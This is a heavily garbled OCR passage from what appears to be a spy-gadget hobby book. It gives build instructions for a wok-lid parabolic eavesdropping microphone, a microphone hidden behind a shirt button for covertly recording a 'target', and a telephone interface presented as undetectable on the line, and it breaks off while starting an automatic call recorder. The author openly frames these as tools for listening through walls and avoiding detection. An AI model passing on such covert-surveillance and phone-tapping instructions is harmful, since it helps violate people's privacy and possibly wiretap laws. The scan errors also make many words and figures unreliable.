way  up  to  a level  that  is  both  comfortable  to  your 
ears  or  to  a level  just  below  dipping  in  the 
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Dish  Microphone 


PI  gu  re  2*9  Ompitted  bionie  sieno  xpy  tun. 


recotding  device.  The  completed  unit  is  shown  in 
Figure  2-9.  ready  to  turn  the  faintest  whisper  into  a 
crisp  dear  audio  signal. 

This  project  has  found  many  uses  in  my  evil 
eaperimentalions.  some  of  which  include;  listening 
to  faint  sounds,  heating  through  walls  and  floois. 
iracting  distant  sounds  in  the  forest,  and  even  as  an 
input  into  a voice  recognition  computer.  Do 
remember  though,  this  device  can  drive  headphones 
wilh  a level  of  sound  that  even  a hard  core  head 
banger  could  not  withstand,  so  set  the  volume 
carefully,  and  determine  the  feedback  lever  before 
placing  the  headphone  over  your  ears.  Have  fun. 


u 

■rl 

0 

A 

A) 

U 

It 

CM 

I 

U 

0) 

•n 

0 

u 

Cm 


Project  M— Parabolic  Dish  Microphone 


For  this  project,  we  are  going  lo  cook  up  a device 
that  can  focus  in  on  disiam  sounds  much  the  «une 
way  a satellite  dish  can  focus  in  on  weak  distant 
radio  waves,  and  for  this  wc  will  need  a larse 
cooking  wok,  or  at  least  the  lid  from  one.  The  lid 
from  a cooking  wok  will  serve  as  a parabolic  dish, 
a device  that  will  focus  all  sound  bouncing  off  the 
inside  surface  of  the  dish  to  a single  poim— our 
microphone  in  this  case.  Because  of  this  effect, 
you  can  “focus  in*’  on  very  distant  sound  sources 
much  like  a satellite  dish  can  focus  in  on  the  faint 
signals  reflected  fiom  orbiting  satellites.  Many 
factors  will  influence  the  overall  performance  of 
this  device  such  as  the  sixe  and  shape  of  the 
chosen  parabolic  dish,  the  sensitivity  of  the 
preamplifier  and  microphone,  and  the  amount  of 
noise  between  the  dish  and  the  target  sound,  but 
ihe  unit  does  indeed  work,  and  forms  the  basis  for 
some  fun  experimentation  into  audio 
eavesdropping.  To  build  the  parabolic  dish 
I microphone,  you  will  need  to  scrounge  up  some 
type  of  paraboUc  reflector  with  a diameter  of  at 
least  12  inches.  For  this  ptt^h  larger  is  belter. 


Try  to  find  a lid  that  is  as  round  as  possible  from 
center  to  edge,  but  do  not  worry  about  the  exact 
shape  of  the  parabola,  os  you  will  not  be  working 
wiUt  the  optimal  dimensions  when  using  a lid  or 
cover  from  some  container.  An  aUcmaiive  to  a 
cordting  iid  could  be  an  actual  salcime  dish 
designed  to  do  exactly  what  we  want  for  this 
project,  but  some  of  these  can  get  fairly  large  and 
have  an  offset  shape  making  it  very  difficult  to  find 
the  focal  point. 

I chose  an  18-inch  stainless  steel  wok  lid  for 
my  project,  as  shown  in  Figure  2-10,  alongside  the 
multimedia  microphone  I use  at  the  focal  point. 

A wok  lid  works  well  for  this  purpose,  as  they 
are  fair  approximations  of  the  parabolic  shape, 
and  have  a boll  in  the  exact  center  to  hold  the 
handle  in  place,  which  makes  microphone 
mounting  very  easy. 

The  hardest  pan  of  this  project  is  the  location  of 
the  parabolic  focal  point,  unless  of  course  you  are 
using  a satellite  dish  complete  wilh  the  feed  hom 
already  attached  at  the  focal  point.  If  you  arc  using 
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Figure  3-1 0 <4  siainUu  sieel  trek  lid  will  be  used  to 
/ocui  dhtant  sound. 


some  other  type  of  tid.  tmagine  ibe  curve 
extending  past  (he  edges  to  complete  a full  sphere, 
and  try  to  estimate  where  (he  cenier  of  the  sphere 
would  be  located.  Once  you  have  estimated  this 
distance,  connect  u rod  or  wire  from  Ihe  cemer  of 
(he  dish  so  that  ii  extends  a few  inches  past  this 
imaginary  center  point.  A bit  of  coat  hanger  wire 
bent  to  form  an  arm  that  will  extend  in  a straight 
line  from  the  center  of  the  dish  past  the  imaginary 
spherical  center  point  and  then  back  to  ibe  side  of 
the  lid  is  a good  way  to  get  started  as  it  will  allow 
easy  relocation  of  the  microphone.  As  shown  in 
Figure  2-1 1, 1 installed  the  coat  hanger  wire  so  that 
it  would  extend  a few  inches  past  my  cstimaicd 
spherical  center  point  and  then  back  to  the  side  of 
the  lid  for  st^ility.  The  side  arm  was  needed,  as 
the  coat  hanger  wire  was  not  stiff  enough  to 
support  the  microphone  without  extra  suppon.  The 
boh  that  holds  the  handle  to  the  lid  is  the  perfect 
mounting  place  for  the  wire,  as  we  know  this  is  the 
true  center  of  the  parabola. 

With  the  wire  in  place,  you  will  now  be  able  to 
place  the  microphone  at  varying  distances  from  the 
center  until  you  find  the  optimal  position  that  will 
reflect  the  most  sound.  This  Job  is  much  easier  if 
your  microphone’s  position  can  be  fine-tuned 
afterwords  by  exploiting  its  moveable  base  if  it  has 
one  like  that  shown  in  Figure  2-10.  A small  radio 
placed  at  one  end  of  a quiet  room  can  be  a great 
help  when  posidoning  the  microphone  for  best 


Figure  2-11  A cooj  hanger  is  asiached  to  the  cemer  of 
the  wtjfi  fid  where  the  mkrop/ume  will  he  attached. 


results,  and  If  you  have  a sound  level  meter  of 
some  type  to  show  you  the  relative  strength  of  the 
received  audio,  this  can  make  the  process  relatively 
simple.  Reniember  that  the  small  electrei 
microplione  has  a very  tiny  hole  measuring  only  u 
fraction  of  an  inch  acrohs  in  the  center  of  ii.s  small 
metal  container  so  this  will  be  the  target  focal 
point.  Do  not  he  confused  by  all  of  the  side  vents 
or  any  other  openings  on  the  small  plastic 
microphone  casing  because  these  arc  cosmetic  and 
serve  no  real  purpose.  If  yon  want  to  know  exactly 
where  the  small  opening  is  located  on  your 
microphone,  open  the  plastic  cover  to  expose  the 
electret  clement,  then  peel  the  small  cloth  disk 
used  a.s  a wind  buffer  away  from  the  front  face  of 
the  small  metal  can.  The  wind  buffer  will  not  be 
necessary  in  this  configuration  since  the  opening 
of  the  microphone  will  be  facing  the  inside  of  the 
lid.  As  you  con  see  in  Figure  2*12. 1 mounted  my 
parabolic  microphone  to  a camera  tripod  for 
stability  along  with  one  of  the  preamplifiers 
presented  earlier  in  this  section.  The  microphone 
has  been  fastened  to  the  coat  hanger  wire  using  the 
double>sided  tape  that  came  with  the  adjustable 
microphone  base.  Notice  how  the  microphone  is 
aiming  slightly  offset  towards  the  center  of  the  lid. 
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Project  4— Parabolic 


Project  S^Working  with  Audio  on  Your  Computer 


Figure  3*12  Th«  puraMk  microphone  is  moanied 
on  a tripod  for  sutbtliTy. 

This  is  ihe  poini  at  which  the  most  reflected  sound 
was  entering  the  microphone  element  as  shown 
on  my  sound  level  meter  during  testing. 


Due  to  the  nature  of  the  surveillance  business,  your 
recording  device  may  be  running  for  hours  at  a 
time,  recording  nothing  but  ambient  noises  before 
that  magical  10  seconds  of  information  Finds  its 
way  to  your  microphone,  so  you  are  going  to 
need  some  simple  method  of  cutting  out  the 
unwanted  parts  and  saving  the  useful  information. 
A computer  is  by  far  the  best  solution  for  editing 
audio,  since  it  can  be  done  by  simply  clicking  a 
few  mouse  buttons  in  order  to  cut  and  paste  the 
imponani  bits  around  much  like  text  in  a word 
processor.  The  can  also  be  compressed  to  sa>*e 
space  and  then  saved  to  disk  for  later  refercoce,  or 
enhancement.  Before  you  can  work  with  digitaJ 


With  the  unit  pointed  towards  a distant  audio 
source,  there  is  a great  level  of  amplification 
noticed  when  cocnpaiing  the  received  audio  from 
the  properly  aligned  parabolic  microphone  to  the 
microphone  without  the  lid,  but  like  most 
amplifiere,  a bad  signal  only  becomes  a louder  bad 
signal,  so  you  must  choose  your  la^ei  carefully. 
Poimhig  the  microphone  at  a distant  target  on  a 
windy  day  will  not  help  you  at  all,  especially  since 
the  lid  will  act  as  a parachute:  neither  will  pointing 
the  microphone  at  a whispering  target  across  a 
room  full  of  noise,  as  you  will  only  amplify  the 
sounds  between  you  and  the  source.  However,  the 
parabolic  microphone  will  perform  well  if  the 
ambient  noise  is  not  overpowering  the  source  and 
the  unit  is  well  aimed  to  focus  in  on  the  target.  The 
effect  of  the  unit  when  working  properly  is  like 
dividing  the  distance  between  you  and  the  source 
by  a large  amount,  especially  if  you  are  using  a 
large  weil*focused  parabolic  reflector.  The  only 
drawback  to  (his  approach  is  of  course  the  large 
metal  object  that  you  will  be  aiming  towards  the 
target,  so  try  to  remain  in  the  shadows  to  avoid 
detection. 


Audio  on  Your  Computer 

audio,  you  will  have  to  ‘digitize”  or  “capture”  it 
into  your  computer  using  whatever  sound  card  and 
software  you  have  available,  and  depending  on  the 
type  of  sound  card  installed  in  your  computer  and 
the  audio  source  to  be  recorded,  you  may  have  to 
do  some  fine  tuning  of  the  input  levels,  or  create  a 
dubbing  cable  In  order  to  achieve  decent  results. 
Most  computer  systems  include  a sound  card  that 
will  accqM  a stereo^  male  plug  as  an  input  (this  is 
the  type  of  connector  used  in  portable  audio  device 
headf^ones).  This  connector  has  a ^ -inch  diameter 
shaft  with  two  insulating  rings  separating  the  three 
conductors,  which  include  a left,  right,  and  ground 
conneedem  for  stereo  operation.  The  sound  card 
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may  have  more  than  one  input  as  well,  typically 
ooe  will  be  marked  as  MIC  or  microphone,  and  (he 
other  will  indicate  LINE  or  line  input  The 
it  Terence  between  the  two  inputs  will  be  the 
addition  of  a preamplitier  on  the  microphone  input 
as  it  was  de«^igned  to  connect  directly  to  an  eleccret 
microphone  and  will  require  some  amplification.  If 
you  cry  to  plug  one  of  the  preamplifiers  shown 
earlier  in  this  section  Into  a microphone  input  on 
>our  sound  card,  then  you  will  end  up  with  an 
mcredlbly  distorted  signal,  or  sound  so  full  of 
nmse  it  will  be  completely  unusable.  The 
microphone  input  should  only  be  used  with  a 
mjcrophooe  and  not  any  audio  source  that  includes 
X preamplifier  stage  of  any  type.  The  line  input 
connector  on  your  sound  card  will  be  the  correct 
choice  for  inputting  recorded  or  amplified  audio 
into  your  computer  either  from  a portable  audio 
recorder  or  directly  from  one  of  the  preamplifier 
projects  presented  earlier.  I found  that  the  ultra 
high-gain  microphone  preamp  presented  earlier  in 
this  chapter  was  a great  input  device  to  allow 


recording  the  received  audio  from  the  parabolic 
mjcT(^hone  directly  to  a laptop  when  in  the  field. 
This  configuration  also  made  finding  the  *‘sweei 
spot"  on  the  parabolic  reflector  easy,  as  most 
audio  recording  software  programs  include  some 
type  of  real-time  sound  level  meter.  Figure  2-13 
shows  a bit  of  audio  recorded  by  the  parabolic 
micro^one  after  feeding  it  through  the 
ultrasensitive  microphone  preamp  circuit  then 
back  into  the  computer  through  the  line  level 
inpuL  I am  using  a popular  sound  editing  software 
called  Sound  Forge  to  cut  and  paste  a small 
section  of  the  audio  clip  into  a new  file  for 
archiving  to  hard  disk.  Almost  every  sound-editing 
program  will  present  the  sound  file  as  a waveform 
on  the  ''timeline**  so  you  can  cuL  paste,  copy,  or 
add  elTects  by  simply  selecting  an  area  and 
clicking  on  a few  menus. 

There  are  literally  hundreds  of  audio  editing 
software  programs  available  ranging  in  price  and 
complexity,  but  for  sinqile  cut.  paste  operations 
and  possibly  some  noise  61ienng,  almost  any  of 


figure  S-13  A cut  and  paste  opemiinn  being  petibmed  im  a smaU  audio  c//p. 
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Project  6— Filtering  out  Background  Noises 


them.  incJuding  many  of  the  fTtewarc  veraons. 
will  fit  the  bill.  Like  many  word  processors,  ii 
really  boils  down  to  personal  choice.  The  ability  to 
reprocess  the  audio  through  some  type  of  advanced 


filter  such  as  a noise  reduction  system  or 
equalization  filter  may  be  useful  for  coirecting 
what  might  otherwise  be  an  unusually  noisy  signal, 
as  we  will  soon  see. 


Project  6— Filtering  out  Background  Noises 


When  collecting  audio  from  your  target,  it  is  not 
always  possible  to  get  close  enough  to  capture  a 
clean  .signal  on  your  microiAone  wiiboui  the  risk 
of  detection,  which  is  the  reason  for  building  your 
own  ulirahigh'gain  preamplifier,  or  parabolic  dish 
microphone.  When  you  start  amplifying  very  weak 
audio  sources  you  also  amplify  the  noise  with 
them,  and  this  can  become  such  a problem  that  the 
rumble  of  the  wind  or  the  hum  from  a neari>y  fan 
motor  may  render  the  conversations  in  the 
recording  inaudible.  You  might  think  the  recording 
Is  wasted  at  this  point,  hut  with  a little  patience 
and  the  right  combination  of  audio  filter  it  may 
surprise  you  how  much  a bod  signal  can  be 
restored.  Audio  filters  come  in  many  formats  from 
hardware  to  software  and  can  perform  numerous 
restt>ration  techniques  to  bad  audio,  some  of  which 
include:  band-pass  filtering  to  block  out  all  but  a 
single  frequency  range,  equalization,  to  knock  out 
certain  frequencies  such  as  wind  rumble,  or  60*  Hz 


AC  hum.  pop  and  click  removal  to  block  noise 
caused  by  mechanical  devices  or  movement  at  the 
source  micro^dtone,  and  many  custom  filters 
designed  to  do  some  type  of  black  magic  directly 
to  your  audio  source  with  link  user  intervemion. 
Have  a look  at  the  tenibly  noisy  waveform 
recoTxled  by  placing  a sensitive  preamplifier  and 
microphone  in  a room  full  of  running  machinery. 
The  higher  sections  of  waveform  are  the  actual 
spokert  words,  but  the  rest  of  the  audio  is  saturated 
with  the  rumble  of  fans,  motors  and  mechanical 
devices  running  in  the  room.  Trying  to  understand 
what  was  said  in  this  audio  clip  is  almost 
impossible,  as  the  ambient  noise  is  almost  as  loud 
as  the  conversation,  and  to  make  matters  worse, 
the  rumble  U so  full  of  bass  (hat  it  saturates  the 
computer  speakers  to  the  point  of  overload.  If  you 
compare  this  waveform  to  the  clip  shown  in 
Figure  2-13.  then  you  will  see  how  dirty  this 
source  really  is, 


Figure  S-IM  A com'enorion  rrcorded  m a very  noisy  worn. 
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Pl9ure  S-iS  A good  audio  fiiier  eati  perfonn  magic  on  your  noiry  audio  source. 


There  is  hope,  however,  in  geuin^  what  we  w'ani 
fcom  this  honibly  noisy  audio  clip,  as  long  as  we 
understand  the  source  of  the  noise  and  the  tools  ai 
our  disposal.  Since  the  frequencies  (hat  occur  in 
human  speech  are  generally  in  the  range  of  1 10  Hi 
to  2*5  kHz,  we  can  start  by  setting  up  an 
equalizing  filter  to  knock  off  any  frequencies 
below  or  above  this  range,  and  this  will  help 
remove  any  very  low  rumbling,  and  some 
mechanical  nose  from  the  audio.  A good  filter  will 
let  you  listen  to  a preview  while  you  adjust  (he 
levels  or  sliders,  making  it  much  easier  to  knock 
out  certain  unwanted  noises.  Another  common 
source  of  noise  is  hum  from  AC  powered  devices, 
and  we  know  that  these  will  fall  into  the  60  Hz 
region,  so  a notch  filter  will  help  knock  those 
sounds  out  of  your  source.  There  axe  even  some 
audio  filters  available  that  will  listen  (o  your  audio, 
and  "leant  * the  source  of  the  noise  to 


automatically  remove  i(  for  you.  and  they  can 
sometimes  do  a remarkable  Job  of  this.  Figure  2*  1 5 
shows  one  such  filler  from  a company  called 
Waves  X-Noise.  and  it  can  clean  up  a noisy  audio 
source  with  remarkable  results — just  look  at  how 
clean  the  audio  source  <wginally  shown  in 
Figure  2-14  has  become. 

The  resulting  audio  from  my  filtering  operation 
was  very  audible  with  only  a slight  noise  threshold 
remaining  after  (he  filter  hod  done  its  magic.  If  1 
wanted  to.  1 could  have  spent  more  time  using 
audio  filtering  (o  reduce  (he  noise  level  to  almost 
zero,  but  since  it  is  only  the  spoken  word  I was 
after,  (he  results  were  more  than  adequate,  and  (he 
filler  completed  its  task  in  seconds.  If  you  plan  to 
work  with  high-gain  preamplifiers  and 
ulirascnsiiive  micrr^ihones.  then  le^ing  to  u.ce  a 
compute  to  process  audio  is  going  to  become  a 
required  skill. 
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Project  7— Wiring  Your  Body  to  Record 


Project  7 — LUiring  Your  Body  to  Record  Rudio 


A CDvert,  or  long-range  micro^one  will  not 
always  be  the  answer  to  your  audio  sleuthing. 

0 especially  if  you  have  to  becoine  the  other  half  of 
*H  (he  conversadon  in  an  environment  that  you  have 
no  prior  access  to.  For  these  situations  you  will 
3 have  to  "wear  a wire”  as  it  is  comrrwnly  referred  to 
in  many  TV  shows,  When  you  hook  yourself  up  to 
record  audio,  it  is  important  (hat  you  not  only  hide 
(he  equipment  properly,  but  you  must  be  able  to 
control  it  without  giving  away  your  evil  plot. 
Throwing  a microcassette  recorder  in  your  shirt 
pocket  and  hoping  you  won't  run  out  of  tape  or 
battery  power  before  you  get  the  "good  stufT  is  no 
way  to  pull  oft  (his  mission,  you  must  plan  ahead. 
You  are  definitely  going  to  need  some  type  of 
small  audio  recording  device,  and  the  smaller  the 
better,  us  it  needs  to  hide  under  your  clothing 
without  creating  any  noticeable  bulge.  Unless  you 
plan  on  getting  in  and  oui  in  a few  minutes,  you 
will  also  need  a way  to  start  and  stop  the  recording 
function  in  order  to  conserve  both  battery  power 
and  recording  media.  $o  if  you  haven't  already 
done  so,  read  the  first  part  of  this  section  dealing 
with  hacking  the  tnlcrorccorder.  The  hacked 
microrecorder  can  be  placed  deep  under  your 
clothing,  because  (he  record  trigger  switch  and 
microphone  are  placed  remotely  from  the  main 
unit.  The  record  trigger  will  bo  placed  in  some 
position  on  your  body  to  allow  the  siaii  and  stop 
functions  of  recording  to  be  activated  without 
letting  (he  target  know  you  are  doing  so.  even  if 
they  are  watching  you.  The  tiny  electret 
microphone  will  also  be  placed  in  such  a position 
(hut  it  allows  clear  reconling  of  the  target  audio, 
and  due  to  its  small  size,  this  is  easy  to  do. 

Have  a look  at  some  of  (he  electret  microphone 
elements  shown  In  Figure  2-16  with  a typical 
burton  for  size  comparison. 

These  microphones  were  saved  from  various 
non  working  audio  devices,  and  they  all  operate 


on  (lie  same  voltage  and  ampliUcaiion  levels 
regardless  of  their  size.  Your  goal  will  be  to 
find  an  area  of  clothing  that  will  hide  (he 
microphone,  yet  allow  an  unobstructed  path 
between  its  tiny  opening  and  the  target  audio 
source.  My  favorite  place  to  hide  them  is  under 
clothing  buttons.  Drill  a tiny|^inch  bole  into  one 
of  the  upper  buttons  on  a shin,  then  glue  the 
microphone  to  the  backside  of  the  button  to 
expose  only  its  tiny  opening  (this  will  be  In  the 
center  of  the  little  metal  can).  Because  the 
microphone  u.sually  includes  a small  black  felt 
wind  buffer  on  the  front,  the  microphone  is 
completely  unnoiiceable  when  installed,  and  the 
extra  hole  in  the  button  looks  just  like  the  other 
thread  holes  in  the  button.  A thin  wire  is  then 
pushed  through  the  clothing  material  and  one 
end  is  soldered  to  the  microphone  while  the 
other  end  is  fitted  to  a connector  that  will  mate 
with  the  coruKCtor  added  to  the  inicrorecorder. 
Figure  2«17  shows  the  drilled  button,  clecirct 
microphone  and  connector  for  size  reference. 

There  is  no  way  dim  anyone  will  ever  detect  the 
microphone  lurking  behind  the  button,  bui  do  be 
careful  when  running  wires,  especially  if  the 


Figure  5*16  A various  sizes  of  eUrtrei 
microphoae  elements. 
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Figure  2-17  A small  microphone  will  hide  behind 
j buuon  wiik  o hole  drilled  ihrough  ii. 


clothing  is  light  fiuing  or  made  of  dun  material. 

A white  dress  shirt  will  indeed  work  for  this 
operation,  but  you  will  need  to  choose  os  ihin  a 
wire  as  you  can  that  matches  the  color  of  the 
material  to  avoid  detection.  The  flexible  wire  can 
be  glued  along  a seam  or  sewn  into  the  edge  of  the 
clothing  if  necessary,  and  should  not  be  so  stiff 
that  ii  does  not  move  with  the  clothing.  The  same 
niie.s  apply  for  the  recording  trigger  the  small  and 
silent  touch  switch  shown  sticking  out  of  my 
shirtsleeve  in  Figure  2-18.  In  actual  operation  this 
switch  would  be  glued  to  the  inside  of  my  sleeve 
so  that  1 could  start  the  recording  function  by 
pressing  my  arm  against  my  body  or  some  other 
object.  This  way,  1 con  act  naturally,  and  have  my 
hands  free  when  starting  or  stopping  the 
sucrorecorder.  This  microswitch  was  removed 


from  a broken  photocopier,  and  it  is  very  sensitive,  q 
making  almost  no  audible  click  when  it  is  engaged, 

The  possibilities  arc  endless  when  it  comes  to  ^ 
mounting  .spy  gear  to  your  body  and  clothing,  and 
if  you  use  your  imagination,  you  will  succeed  in  ^ 
your  coven  missions,  avoiding  detection  us  you  ^ 
record  every  word.  Next  time  your  nemesis  claims  ^ 
they  didn't  say  something  you  know  they  did,  you  Jp 
will  have  more  than  just  your  word  to  go  on)  In  q 
ihe  next  section,  we  will  take  listening  devices  to  q 
another  level  with  hard-wired  telephone  devicej<  1^ 
that  can  automatically  record,  scramble  VDices,  Q« 
and  decode  information. 
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Figure  2-IB  7^  recording  trigger  snitch  will  be 
glued  into  my  shinsle^ve. 


Section  Three 


Hard-ujired  Telephone  Devices 


Project  8 — Telephone  Rudio  Interface 


(f  you  plan  co  build  any  type  of  ekctronic  device 
that  either  records  or  plays  back  an  audio  si^ai  to 
and  from  a telephone  line,  then  you  are  going  lo 
need  a simple  interface  device  like  the  one 
presented  in  this  section.  You  will  first  want  to  find 
out  if  it  is  legal  to  connect  a home  built  device  lo 
the  phone  system  in  your  area,  or  you  may  be  “on 
the  hook**  for  any  damages  (hat  might  occur. 

Check  your  local,  state,  provincial  and  federal 
conununicadons  laws.  A typical  telephone  system 
uses  a .simple  two>wire  cable  to  send  and  receive 
audio,  bu(  there  is  nothing  in  common  between  a 
telephone  system  and  a typical  audio  patch  cord, 
so  care  must  be  token  when  attempting  to  interface 
the  telephone  to  any  type  of  audio  equipment. 
When  the  phone  is  on  the  hook,  there  will  be 
40  to  50> volts  DC  presented  across  the  wires,  and 
«hen  it  rings,  this  voltage  will  peak  at  90  to 
I00*volt5  AC.  which  is  more  than  enough  voltage 
to  wake  you  up  if  you  happen  lo  be  stripping 
wires  with  your  teeth  while  your  circuit  is  live 
inot  recommended)!  The  current  available  on 
the  telephone  line  is  minimal,  hut  sdll.  neither 
>our  body  nor  your  sensitive  electronic  devices 
are  going  to  appreciate  a direct  connecuon  to 
lOO-volis.  When  the  phone  is  off  the  hook,  or  in 
use,  the  voltage  drops  from  50^ volts  lo  somewhem 
between  5 and  1 5* volts  depending  on  how  many 
devices  there  are  connected  to  that  line.  Obviously, 
we  are  going  to  need  some  type  of  isolation  to 
send  or  receive  audio  from  this  hostile  pair  of 
uires.  The  proper  way  to  connect  an  audio  source 
to  (he  phone  system  is  with  a device  called  a “data 
access  arrangement,’*  or  DAA.  This  unit  takes  care 


of  isolaticm  from  the  high  voluiges  on  (he  phone 
line  including  spikes,  and  it  wo^s  like  an  input 
output  device  for  audio  ot  data  to  and  from  the 
phone  system.  All  modems,  fax  machines, 
answering  machines  and  similar  appliances  will 
contain  a DAA,  as  (his  is  the  only  way  they 
become  certified  for  use  on  the  telephone  system. 
We  will  not  be  using  a DAA  in  any  of  these 
projects,  as  they  are  very  difficuli  to  build,  and 
although  there  are  single  chip  solutions  available, 
the  life  span  of  these  devices  is  so  short  that  any 
port  numbers  would  most  likely  be  out  of 
production  by  the  time  you  read  this  book.  Our 
simple  telei^ne  ‘‘hacks'*  are  not  going  to  be 
offered  for  sale,  and  are  really  just  for  personal  use 
and  experimental  ions,  so  a real  DAA  wr>uld  be 
overkill  anyhow,  but  feel  free  to  do  a little  research 
on  the  Internet  if  you  do  want  to  understand  how 
the  data  access  arrangement  works.  Let's  sian  with 
a simple  device  that  can  connect  the  phone  line  to 
just  about  any  audio  device  to  either  playback 
audio  into  (he  phone  line,  or  record  the  audio  from 
the  phone  Line.  With  this  device  connected  lo  the 
headphone  Jack  on  a small  radio,  you  would  have 
music  on  hold  system,  and  connected  to  the 
microphone  jack,  you  would  have  a call  recorder 
(hat  would  perform  far  better  than  those  cheapo 
suction  cup  devices.  Before  you  get  out  the 
soldering  iron,  you  should  know  that  there  are  only 
(wo  wires  used  in  a single  line  residential  phone 
cable,  although  the  cable  will  most  likely  have  four 
wires.  If  you  follow  any  of  the  phone  boxes  wiring 
back  to  the  main  terminaL  you  will  notice  they  all 
connect  to  a main  block  using  only  two  of  the  four 
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Figure  3-1  Schemaric/or  tht  itlephom  audio  inie/facf^ 


^ wires—a  red  ona  and  a green  ooe  (yellow  and 
^ black  are  not  used).  The  green  wire  is  specified  as 
^ 'Hip.'’  and  the  red  wire  is  specified  as  **ring."  and 
^ although  (his  polarity  is  very  imponam  in  most 
telephone  equipment,  it  means  nothing  in  our 
simple  interface,  as  it  is  non*poIarized.  meaning 
^ you  can  connect  it  cither  way  to  the  phone  system 
pdj  and  it  will  work  the  same.  Take  a look  at  the 

schematic  in  Figure  3*  1«  and  you  will  see  that  only 
Cl  Five  basic  components  are  needed  for  the  telephone 
audio  interface — three . I uF  ceramic  capacitors,  a 
^ 1:1  audio  transformer  and  a variable  resistor. 

The  capacitors  remove  any  DC  from  (he 
(2)  telephone  line,  and  allow  invisible  operation  on  the 
H phone  system.  Invisible  operation  means  that  the 

0 device  does  not  load  down  the  phone  line  at  all,  so 
^ it  will  not  be  delected  as  an  in*use  esiension.  The 

1 1:1  audio  transformer  further  isolates  your 

® equipment  from  the  phone  line  by  electromagnetic 
ally  coupling  the  two  devices  together.  The 
^ variable  resistor  is  used  to  control  (he  inpui/output 
^ level  to  the  audio  transformer  just  in  case  your 
source  device  cannot  do  this.  All  of  these  devices 
Q can  be  salvaged  from  just  about  any  defunct 

telephony  device  such  as  a modem,  fex  machine. 

Cij  answering  machine,  and  of  course,  a telephone.  As 


Figum  3'S  A modetn  cord  wW  coniain  most  of  fhe 
compowfUs  needed  for  this  prvjeci. 


shown  in  Ftgure  3-2,  a prehistoric  56  kH  modem  is 
chosen  to  give  its  life  for  this  project  as  it  contains 
all  the  capacitors,  the  dual  phone  line  jack  and  the 
audio  transformer  (large  block  in  the  center)  that 
will  be  needed. 

The  audio  transferer  Is  easy  to  identify,  as  it 
will  be  the  largest  component  looking  like  a block 
approximately  one  inch  squared,  with  two  or  three 
terminals  at  each  side.  Unsolder  the  transformer 


Flfiure  3*3  The  telephone  audio  imetfaee  built  on  a 
snxaU  perf.  boord. 


and  measure  (he  impedance  across  the  two 
Terminals  at  each  side  of  the  device.  If  there  are 
three  wires,  ignore  the  center  one.  The  impedance 
at  each  end  of  the  mmsfonner  should  be  equal  since 
(he  number  of  urms  in  each  winding  are  the  same, 
which  is  why  it  is  called  a 1: 1 transformer.  The  dual 
phone  jack  is  optional,  but  if  you  plan  lo  connect 
this  interface  to  a phone  line  that  already  has  a 
phone  connected  to  it  then  there  will  be  no  need  for 
j Y*adapier  since  the  dual  phone  jock  will  fUl  that 
function.  The  circuit  U very  simple,  so  it  can  be 
built  to  a minimal  bit  of  perf  board  and  hand  wired 
a»  shown  in  Figure  3-3.  The  two  wires  opposite  the 
'.elephonc  jacks  are  the  input/output  wires  used  to 
«'onneci  the  audio  device  to  the  transformer. 

If  you  intend  to  use  the  audio  interface  with  a 
computer  sound  card  for  either  input  or  output 
then  you  can  leave  out  the  variable  resdsior  and 
mild  the  unit  right  into  a hardware  store  telephone 
wall  jack  as  shown  in  Figure  3*4.  The  variable 
resistor  will  not  be  needed  because  eonirolUng  the 
Mund  card  through  the  computer's  volume  control 
panel  can  easily  set  the  audio  input  and  output 
levels.  A typical  sound  card  set  to  approximately 
50  percent  volume  will  output  a signal  from  its 
speaker  Jack  into  the  phone  line  at  a very 
reasonable  level  with  low  distortion  and  decent 
quality.  Plugged  into  the  sound  card  microphone 
wk.  the  recorded  audio  from  the  telephone  will  be 
jBp  and  clear  as  though  it  were  fed  in  from  a 
Trjltimedia  microphone. 


Figure  3^  7be  simplified  telephone  audio  interface 
for  eemputer  use. 


'Hie  original  phone  jack  that  came  with  the  box 
is  now  used  tike  (he  dual  jack  from  the  modem 
card;  it  allows  (he  line  to  be  used  for  a phone  even 
with  the  interface  plugged  into  the  wall.  To  keep 
the  component  count  as  low  as  possible,  the  phone 
cord  that  connecu  to  the  wall  jack  is  cut  and 
soldered  directly  into  (he  box.  so  no  other 
connectors  ve  needed.  A<^-inch  stereo  cable  and 
connector  is  cut  from  a dead  set  of  headphones  and 
wired  into  the  circuit  so  that  the  ld\  and  right 
channels  are  connected  together  for  mono  operation 
(the  phone  line  is  mono).  76  use  the  device  with  a 
computer,  simply  connect  the  stereo  jack  to  cither 
the  input  or  output  of  your  sound  card,  plug  the 
phone  cable  into  the  phone  jack  in  your  wall,  and 
you  can  also  plug  a phone  or  fax  into  the  jack  on 
the  box  if  you  wish.  Listen  on  the  phone  while  you 
set  (he  audio  level  on  your  computer  for  a 
comfortable,  no  distortion  playback  of  voice  or 
music,  or  speak  into  (he  phone  while  you  set  the 
record  level  on  your  sound  card's  input  for  a crisp 
dear  reccing  without  clipping.  The  other  phones 
sharing  the  same  line  should  not  be  affected,  and 
free  from  any  buzzing  or  AC  hum.  If  there  is  a 
problem,  disconnect  the  interface  and  recheck  the 
wiring.  The  telephone  audio  interface  is  a very 
useful  and  versatile  device,  as  it  allows  a seamless 
and  undetectable  bridge  between  an  audio  device 
and  the  phone  line,  and  it  also  forms  the  basis  for  a 
few  more  projects  presented  in  the  chapter. 
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Project  S^Telephone  Audio  Interface 


Project  9— Au  t oma  t i c Call 
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Project  9 — Automatic  Call  Recorder 


Here  is  a simple  device  that  can  be  used  to  trigger 
just  about  any  type  of  electronic  gear  wbeu  ibe 
phone  is  either  on  orolT  (he  hook.  I called  this  unit 
an  ‘'automatic  call  recorder”  because  its  main 
purpose  was  to  automatically  switch  on  an  audio 
recorder  to  record  both  sides  of  a conversation 
every  time  a phone  was  in  use.  The  unit  will  also 
record  the  actual  ringing  and  dialing  of  the  phone, 
which  could  be  an  irnponam  bit  of  infonnadon  to 
analyze  when  you  are  playing  back  the  recording. 
As  you  will  see,  I look  a very  difTerem  approach  to 
this  well-known  project,  which  is  nonnally  built 
using  a pair  of  transistors  and  a handful  of  other 
semiconductors  rather  than  a relay.  I built  three  lest 
circuits  found  around  the  Internet,  aiHl  I did  not 
find  any  of  them  to  function  properly,  or  even 
safely.  The  first  circuit  used  a pair  of  NPN 
transistors  to  monitor  the  phone  line  voltage  so 
that  the  second  transistor  would  be  switched  on 
when  (he  phone  was  in  use.  Unfortunately,  this 
version  of  the  device  sent  dangerous  voltages  into 
(he  audio  device,  and  was  very  ]Hcky  about  line 
polarity  and  the  number  of  devices  connected  to 
the  phone  line.  The  second  attempt  was  a circuit 
using  a few  logic  gates  and  transistors,  and  again  it 


seemed  very  fussy  about  line  loading  and 
